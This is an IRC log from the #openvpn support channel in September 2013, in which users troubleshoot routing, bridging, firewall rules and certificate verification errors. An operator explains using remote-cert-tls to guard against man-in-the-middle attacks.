01:51 -!- master_of_master [~master_of@p4FD7B31D.dip0.t-ipconnect.de] has joined #openvpn
01:54 -!- master_o1_master [~master_of@p4FD7B08B.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
02:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:21 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
03:55 -!- lesterc1 [~lesterc@110.151.159.64] has joined #openvpn
03:55 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: ZNC - http://znc.in]
03:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:57 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
04:12 -!- lesterc1 [~lesterc@110.151.159.64] has quit [Read error: Connection reset by peer]
04:12 -!- lesterc2 [~lesterc@110.151.159.64] has joined #openvpn
04:13 -!- mirco [~mirco@tmo-104-213.customers.d1-online.com] has joined #openvpn
04:16 < lesterc2> guys - can someone tell me if my assumption is correct here.
04:17 < lesterc2> I have a linux box behind a dsl modem which forwards all openvpn traffic to.
04:18 < lesterc2> do I simply need to set /proc/sys/net/ipv4/ip_forward to 1 and setup my route to get traffic going between my vpn clients and my other machines in the internal network?
04:18 < lesterc2> I'm using the tun mode.
04:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:28 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: ZNC - http://znc.in]
04:29 < lesterc2> nevermind - firewall problem...
04:31 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
04:43 -!- lesterc1 [~lesterc@212.4.233.220.static.exetel.com.au] has joined #openvpn
04:44 -!- JackWinter [~jack@vodsl-11200.vo.lu] has left #openvpn ["Konversation terminated!"]
04:45 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
04:46 -!- lesterc2 [~lesterc@110.151.159.64] has quit [Ping timeout: 264 seconds]
04:48 -!- JackWinter [~jack@vodsl-11200.vo.lu] has left #openvpn ["Konversation terminated!"]
04:50 -!- lesterc1 [~lesterc@212.4.233.220.static.exetel.com.au] has quit [Quit: Leaving.]
04:50 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
04:56 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
05:10 -!- master_o1_master [~master_of@p4FD7BD1D.dip0.t-ipconnect.de] has joined #openvpn
05:12 -!- heraclitus is now known as Antikythera
05:13 -!- master_of_master [~master_of@p4FD7B31D.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
05:13 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
05:14 -!- Antikythera is now known as Colossus
05:16 -!- Colossus is now known as ferranti
05:16 -!- ferranti is now known as heraclitus
05:17 -!- master_of_master [~master_of@p4FD7BAEE.dip0.t-ipconnect.de] has joined #openvpn
05:18 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: ZNC - http://znc.in]
05:19 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
05:20 -!- master_o1_master [~master_of@p4FD7BD1D.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
05:20 -!- lesterc1 [~lesterc@212.4.233.220.static.exetel.com.au] has joined #openvpn
05:22 -!- master_o1_master [~master_of@p4FD7B60C.dip0.t-ipconnect.de] has joined #openvpn
05:24 -!- master_of_master [~master_of@p4FD7BAEE.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
05:24 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
05:28 -!- lesterc1 [~lesterc@212.4.233.220.static.exetel.com.au] has quit [Ping timeout: 256 seconds]
05:29 -!- Tera_ is now known as Tera
05:29 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
05:29 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
05:32 -!- JackWinter [~jack@vodsl-11200.vo.lu] has left #openvpn ["Konversation terminated!"]
05:35 -!- JackWinter_ [~jackwinte@vodsl-11200.vo.lu] has joined #openvpn
05:36 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
05:43 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has joined #openvpn
05:47 -!- thecaptain [~thecaptai@214.Red-80-35-127.staticIP.rima-tde.net] has joined #openvpn
05:49 -!- thecaptain [~thecaptai@214.Red-80-35-127.staticIP.rima-tde.net] has left #openvpn []
05:54 -!- mirco [~mirco@tmo-104-213.customers.d1-online.com] has quit [Quit: mirco]
05:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:02 -!- JackWinter_ [~jackwinte@vodsl-11200.vo.lu] has quit [Quit: Konversation terminated!]
06:03 < Cubox> I am retrying, can someone help me with this very odd issue? https://forums.openvpn.net/topic13919.html http://serverfault.com/questions/542381/openvpn-forward-packets-very-slowly
06:03 <@vpnHelper> Title: OpenVPN Support Forum Rebooted server, clients access outside internet slow. : Server Administration (at forums.openvpn.net)
06:03 -!- JackWinter_ [~jackwinte@vodsl-11200.vo.lu] has joined #openvpn
06:09 -!- JackWinter_ is now known as JackWinter
06:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:25 -!- lesterc1 [~lesterc@212.4.233.220.static.exetel.com.au] has joined #openvpn
06:33 -!- lesterc1 [~lesterc@212.4.233.220.static.exetel.com.au] has quit [Ping timeout: 245 seconds]
06:41 -!- Laverne [~Laverne@devilsown.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
06:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:47 -!- JackWinter [~jackwinte@vodsl-11200.vo.lu] has quit [Quit: Konversation terminated!]
06:47 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
07:07 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:32 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Read error: Connection reset by peer]
07:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:35 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
07:37 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 264 seconds]
07:41 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Read error: Connection reset by peer]
07:44 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
07:45 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Read error: Connection reset by peer]
07:45 -!- JSharpe [~JSharpe@ns264658.ovh.net] has joined #openvpn
07:47 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
07:49 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Read error: Connection reset by peer]
07:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:55 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
08:00 -!- master_of_master [~master_of@p4FD7B3F0.dip0.t-ipconnect.de] has joined #openvpn
08:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:03 -!- master_o1_master [~master_of@p4FD7B60C.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
08:54 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: Konversation terminated!]
08:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:01 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
09:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:31 -!- HyperGlide [~HyperGlid@110.185.30.236] has joined #openvpn
09:35 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
09:43 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
09:43 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
09:45 -!- master_o1_master [~master_of@p4FF24C18.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:46 -!- master_of_master [~master_of@p4FD7B3F0.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
09:48 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: Konversation terminated!]
09:50 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
09:51 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Client Quit]
09:53 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
10:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:04 -!- zcul [~zcul@90-230-217-87-no135.tbcn.telia.com] has joined #openvpn
10:06 -!- master_o1_master [~master_of@p4FF24C18.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
10:06 < zcul> Hello. Trying to wrap my head around this: If I want a dhcp server on the openvpn access server side to issue hostnames so the openvpn connected client can communicate directly with machines behind the open vpn access server... Am I required to use TAP (bridging) layer 2 then?
10:06 -!- zcul is now known as andreasw
10:08 -!- master_of_master [~master_of@p4FF24E92.dip0.t-ipconnect.de] has joined #openvpn
10:12 < Thermi> andreasw: Yes.
10:12 < Thermi> And you need to bridge the openvpn virtual interface (tap0) with the LAN facing ethernet device
10:14 < andreasw> I'm guessing i need to dig into config files then, its not possible via the fancy web ui?
10:14 < andreasw> thanks for answering btw :)
10:17 < Thermi> I don't know that, but as you need to configure an IP for the bridge device before having connectivity to the box again, you can't do it over the network
10:18 < andreasw> hmm well its sitting on amazon AWS on a VPC so i guess i can open an ExternalIP to myself...
10:29 -!- HyperGlide [~HyperGlid@110.185.30.236] has quit [Remote host closed the connection]
10:33 < andreasw> what if i want just some local network hostnames be propagated down to the clients, is that solvable some other way?
10:34 < andreasw> i.e. the ip to the database in the cloud for example
10:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
10:55 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
10:57 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
11:08 < Thermi> andreasw: You could do that with a DNS server
11:09 < Skapare> "local network" as in inside-VPC private IPs ... with maybe NAT turned on out there fore public internet access ?
11:17 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
11:25 -!- xrosnight [~quassel@116.76.169.18] has quit [Remote host closed the connection]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:39 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 245 seconds]
11:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:16 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
12:16 < copper> !welcome
12:16 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:17 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:17 < copper> !goal
12:17 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:17 < copper> hi
12:17 < copper> (again)
12:18 < copper> I have a working config with 1) all of my client traffic getting routed through the VPN, and 2) some services (web, dns, proxy, etc) running on the VPN server IP (10.21.32.1)
12:18 < copper> my question is, are there some iptables rules that I should have to protect the VPN?
12:19 < copper> One thing for instance: local users on the server are able to access the services running on the VPN server IP
12:20 < copper> but I don't know how to prevent that without blocking 10.21.32.1 from accessing itself (users are able to bind to 10.21.32.1)
12:21 < copper> I can't come up with a clean set of iptables rules to make sure that the only people who can access the VPN services, are OpenVPN clients
12:24 < copper> (10.21.32.0/24)
12:32 < copper> first I thought that I (my own user on the server) could bind to 10.21.32.1 because I was in the "network" user group, but I tried with another user who isn't in that group, and that user can still bind to 10.21.32.1
12:32 < copper> I'm running Arch Linux with a kernel with grsecurity enabled
12:34 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
12:34 < copper> by default I drop all input (:INPUT DROP [0:0]) but I accept all input on 'lo' and 'tun0' ('-A INPUT -i lo -j ACCEPT' and '-A INPUT -i tun0 -j ACCEPT')
12:35 < copper> I tried rejecting input from 10.21.32.1 to 10.21.32.1 (itself), but I'm not sure that's the proper thing to do
12:35 < copper> like, what if, someday, I need my services on 10.21.32.1 to access themselves or another service on 10.21.32.1?
12:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:36 < copper> I can't figure it out :(
12:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:40 < andreasw> @Skapare yes exactly, trying to use a private lan as much as possible up in the clouds in the Inside-VPC private IP's
12:41 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
12:43 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
12:51 -!- Devastator [~devas@unaffiliated/devastator] has quit [Remote host closed the connection]
12:51 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
13:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:14 < Skapare> andreasw: what do you want the clients to be able to connect to via the tunnel ... just VPC instances ... or the world?
13:14  * Skapare is doing VPC instances only for his project at work
13:17 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has joined #openvpn
13:18 < claudiop> Hi guys, im facing some trouble connecting to a vpn, can someone give a try on my problem? ;)
13:19 < claudiop> Basicaly every connection ends in " Connection reset, restarting [-1]" on the client side, and "VERIFY ERROR: depth=0, error=unsupported certificate purpose: ... ... ..." on the server side, What can this be?
13:19 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has quit [Remote host closed the connection]
13:22 -!- andreasw [~zcul@90-230-217-87-no135.tbcn.telia.com] has quit [Quit: Leaving]
13:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:29 -!- Devastator [~devas@186.214.14.178] has quit [Changing host]
13:29 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:35 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
13:36 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
13:37 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has quit [Ping timeout: 240 seconds]
13:47 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has joined #openvpn
13:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:52 -!- mirco [~mirco@tmo-109-143.customers.d1-online.com] has joined #openvpn
14:02 -!- mirco [~mirco@tmo-109-143.customers.d1-online.com] has quit [Quit: mirco]
14:03 -!- mirco [~mirco@tmo-109-143.customers.d1-online.com] has joined #openvpn
14:03 -!- mirco [~mirco@tmo-109-143.customers.d1-online.com] has quit [Client Quit]
14:09 -!- Devastator [~devas@186.214.14.178] has quit [Remote host closed the connection]
14:09 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
14:25 -!- YeOldHinnerk [~chatzilla@xdsl-89-0-248-233.netcologne.de] has joined #openvpn
14:25 < YeOldHinnerk> !firewall
14:25 <@vpnHelper> "firewall" is (#1) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets. or (#3) Please see this for a better method to unloading netfilter (aka iptables ) rules: https://gist.github.com/QueuingKoala/6350127
14:30 -!- Boreeas [~Boreeas@frozen.boreeas.net] has joined #openvpn
14:57 -!- Zenum [~znc@unaffiliated/zenum] has quit [Quit: ZEE EN CEE :>]
14:59 -!- Devastator [~devas@186.214.14.178] has quit [Changing host]
14:59 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
15:01 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
15:03 -!- Devastator [~devas@unaffiliated/devastator] has quit [Remote host closed the connection]
15:03 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
15:10 -!- JSharpe [~JSharpe@ns264658.ovh.net] has quit [Read error: Operation timed out]
15:18 < YeOldHinnerk> hi
15:18 < YeOldHinnerk> I have finally a working vpn connection to my tomato router
15:18 < YeOldHinnerk> i can ping machines within the local network
15:19 < YeOldHinnerk> e.g. my nas at 192.168.1.3.
15:19 < YeOldHinnerk> however, I can not access the folder ( I have mapped the NAS )
15:19 < YeOldHinnerk> why?
15:31 < Martin`> you can ping the nas?
15:32 < YeOldHinnerk> yes
15:33 < YeOldHinnerk> perfect score :)
15:33 < Martin`> ok :D
15:33 < Martin`> someone help this guy :P
15:34 <+rob0> !notovpn
15:34 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
15:34 < YeOldHinnerk> lol
15:34 <+rob0> Success of ping(1) usually indicates that routes and firewalls are correct. Not always firewalls, but ...
15:35 <+rob0> I think I would be looking in the logs on the NAS.
15:35 < YeOldHinnerk> well, if I do not use the vpn, I have full access to my nas
15:35 <+rob0> I think I would be looking in the logs on the NAS.
15:35 < YeOldHinnerk> checking...
15:37 < Martin`> I guess vpn is in a other subnet
15:38 < YeOldHinnerk> nope
15:38 < YeOldHinnerk> the are all on 192.168.1.x
15:38 < YeOldHinnerk> including the IP of my latop on vpn (TAP-Windows Adapter V9)
15:38 <+rob0> eww, bridging? Why?
15:39 < YeOldHinnerk> great.
15:39 < YeOldHinnerk> now i have access and no idea why :)
15:39 < Martin`> Now you've broke it!
15:40 < YeOldHinnerk> dang
15:40 < YeOldHinnerk> :)
15:40 < YeOldHinnerk> alright, thanky for the open ear anyway
15:41 < YeOldHinnerk> one mre question:
15:41 < YeOldHinnerk> how important is this "extra HMAC authorization (tls-auth)"?
15:47 < YeOldHinnerk> ah, anyway, I'm out. thanks again and bye
15:47 -!- YeOldHinnerk [~chatzilla@xdsl-89-0-248-233.netcologne.de] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0.1/20130814063812]]
16:00 < Bretos`> night!
16:06 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:39 < Cubox> Hi! Can someone help me with this issue? http://serverfault.com/questions/542381/openvpn-forward-packets-very-slowly I got no answers from nowhere...
16:39 <@vpnHelper> Title: linux - Openvpn, forward packets very slowly - Server Fault (at serverfault.com)
17:30 < Skapare> Cubox: yeah that is a tough one to solve without more tests ... did you get that URL I suggested trying downloads from to see if the timing for that varys between a direct download (at the server) and a tunnel based download ?
18:01 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Read error: Operation timed out]
18:09 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
18:09 -!- nobit [nobit@unaffiliated/muska] has quit [Ping timeout: 248 seconds]
18:16 -!- nobit [~nobit@ranger.animounted.net] has joined #openvpn
18:16 -!- nobit [~nobit@ranger.animounted.net] has quit [Changing host]
18:16 -!- nobit [~nobit@unaffiliated/muska] has joined #openvpn
18:18 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Read error: Operation timed out]
18:22 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:22 -!- mode/#openvpn [+v s7r] by ChanServ
18:28 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has quit [Ping timeout: 256 seconds]
18:31 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has joined #openvpn
18:51 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has quit [Ping timeout: 264 seconds]
18:52 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has joined #openvpn
19:35 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 248 seconds]
19:40 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
19:41 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Changing server]
19:42 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
19:44 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
19:54 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Read error: Connection reset by peer]
19:54 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
19:56 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
20:07 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 260 seconds]
21:08 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
21:16 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
21:24 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
21:29 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
21:42 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 248 seconds]
21:44 -!- jtruckz [~jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
21:59 -!- Devastator [~devas@186.214.14.178] has quit []
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
22:07 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:00 -!- crus [~crusader@2001:44b8:319e:2900:3068:6cbc:c5e3:8b84] has quit [Ping timeout: 260 seconds]
23:01 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
23:08 -!- g0z [gauze@entropy.tmok.com] has joined #openvpn
23:08 < g0z> !goal
23:08 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:38 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has quit [Ping timeout: 240 seconds]
--- Log closed Sun Sep 29 23:42:07 2013
--- Log opened Sun Sep 29 23:42:21 2013
23:42 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
23:42 -!- Irssi: #openvpn: Total of 225 nicks [8 ops, 0 halfops, 7 voices, 210 normal]
23:42 -!- mode/#openvpn [+o ecrist_] by ChanServ
23:43 -!- Irssi: Join to #openvpn was synced in 55 secs
23:43 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has joined #openvpn
23:43 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
23:44 -!- g0z_ [gauze@entropy.tmok.com] has joined #openvpn
23:44 -!- theneb_ [~theneb@theneb.co.uk] has joined #openvpn
23:44 -!- nobit_ [nobit@unaffiliated/muska] has joined #openvpn
23:44 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:44 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
23:44 -!- Zordrak_ [~jaz@87-194-137-223.bethere.co.uk] has joined #openvpn
23:45 -!- Perun_ [perun@chao5.net] has joined #openvpn
23:49 -!- Netsplit *.net <-> *.split quits: g0z, mitz_, _nwonknu, nobit, theneb, n2deep, Eagleman, Perun, Zordrak, defswork,  (+1 more, use /NETSPLIT to show all of them)
23:49 -!- nobit_ is now known as nobit
23:52 -!- Netsplit over, joins: _nwonknu
23:56 -!- defswork [~andy@141.0.50.105] has joined #openvpn
23:56 -!- Netsplit *.net <-> *.split quits: _nwonknu
--- Day changed Mon Sep 30 2013
00:02 -!- Netsplit over, joins: _nwonknu
00:09 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:55 -!- pfui [~hkotri@41.38.82.94] has joined #openvpn
00:58 < pfui> trying to setup an openvpn server on fedora 19, but my client fails to connect with "did not receive valid IP config information" even though I'm using the sample configuration file that came with the package and haven't tuned the network config parameters (see here: http://pastebin.com/yLMC7xW3). what could be the problem?
01:12 -!- pfui [~hkotri@41.38.82.94] has left #openvpn []
01:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
01:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:05 -!- muh-die-kuh [~hco@bronx.lab9.de] has quit [Quit: leaving]
02:17 -!- suprMan` [~clark_ken@109.161.155.67] has joined #openvpn
02:31 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
02:32 -!- suprMan` [~clark_ken@109.161.155.67] has quit [Ping timeout: 245 seconds]
02:32 -!- mirco_ [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
02:35 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
02:37 -!- mirco_ [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
02:56 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Excess Flood]
02:56 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
02:56 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
03:07 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
03:12 -!- tkl2 [~tkl2@ip-109-40-45-211.web.vodafone.de] has joined #openvpn
03:12 < tkl2> Hi
03:12 < tkl2> I have a problem with openvpn on a new ipcop
03:17 -!- tkl2 [~tkl2@ip-109-40-45-211.web.vodafone.de] has quit [Ping timeout: 245 seconds]
03:19 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
03:21 -!- tkl2 [~tkl2@ip-109-40-45-211.web.vodafone.de] has joined #openvpn
03:21 < tkl2> Hi
03:22 < tkl2> I have an error on a fresh installed IPCOP openvpn: relocation error: /usr/lib/liblzo2.so.2: symbol __guard, version GLIBC_2.3.2 not defined in file libc.so.6 with link time reference
03:27 -!- pfui [~hkotri@41.38.82.94] has joined #openvpn
03:29 < pfui> openvpn connect on android complains that a "ca signature check failed" when those very same certificates work fine on my fedora laptop, how do I go about investigating the problem?
03:29 -!- mirco [~mirco@p50800EA7.dip0.t-ipconnect.de] has joined #openvpn
03:44 <@krzee> pfui, same problem on the openvpn for android by arne?
03:44 <@krzee> i've never used openvpn connect, but i do use openvpn for android
03:45 -!- Netsplit *.net <-> *.split quits: _nwonknu
03:45 <@krzee> tkl2, sounds like an ipcop problem
03:45 < pfui> krzee: I thought openvpn connect was the official client?
03:45 -!- Netsplit over, joins: _nwonknu
03:46 <@krzee> it is but it came out after openvpn for android (which is released by one of the openvpn devs/ an op in this channel)
03:46 -!- lesterc1 [~lesterc@1.130.67.11] has joined #openvpn
03:46 <@krzee> and openvpn connect at least was closed source at the time
03:46 <@krzee> i *think* the source has since been released
03:46 < tkl2> krzee: But what kind of?
03:46 <@krzee> no idea try #ipcop
03:47 <@krzee> not an openvpn error, its a library error
03:47 < lesterc1> anyone knows why with openvpn running in a lxc container - openvpn clients cannot connect to the lxc host directly?
03:48 < lesterc1> lxc is bridged to my physical interface and I'm running openvpn in tun mode.
03:48 <@krzee> you probably need to make a rule to allow it
03:48 <@krzee> i know you have to in freebsd jails
03:49 < lesterc1> i have routes on the host to route traffic for the virtual subnet to the container and i believe I don't have any firewall rules that drops it.
03:49 <@krzee> i mean some sort of special lxc rule
03:50 <@krzee> i dont use lxc but i assume it does a certain amount of separation from the host system
03:50 <@krzee> like freebsd jails
03:50 < pfui> krzee: nope, didn't work either. fails to verify server certificate and then complains about unroutable control packets received from the server
03:50 <@krzee> i assume this from google calling it "chroot on steroids" which could loosely translate to "kinda like jails but on linux"
03:51 <@krzee> pfui, have you tested this cert on a normal pc host?
03:51 < pfui> krzee: yep, works fine
03:51 <@krzee> pfui, when testing it, did you have this enabled:
03:51 <@krzee> !mitm
03:51 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
03:51 <@krzee> remote-cert-tls
03:51 <@krzee> in the client config
03:53 < lesterc1> krzee: thanks - I'll check. I've been scratching my head on this.
03:53 < pfui> krzee: nope, can't find it in my client config file. should it normally be there?
03:53 <@krzee> pfui, im thinking you did not, and that when you import to the phone it maybe enables it, and that is causing the error
03:53 <@krzee> it's a good idea to guard against MITM attacks
03:54 <@krzee> basically you sign the server cert specially as a server, then no other cert from the same CA will be valid because it wasnt signed as a server
03:54 <@krzee> otherwise my client cert would work in MITM against you, tricking you to thinking im the server
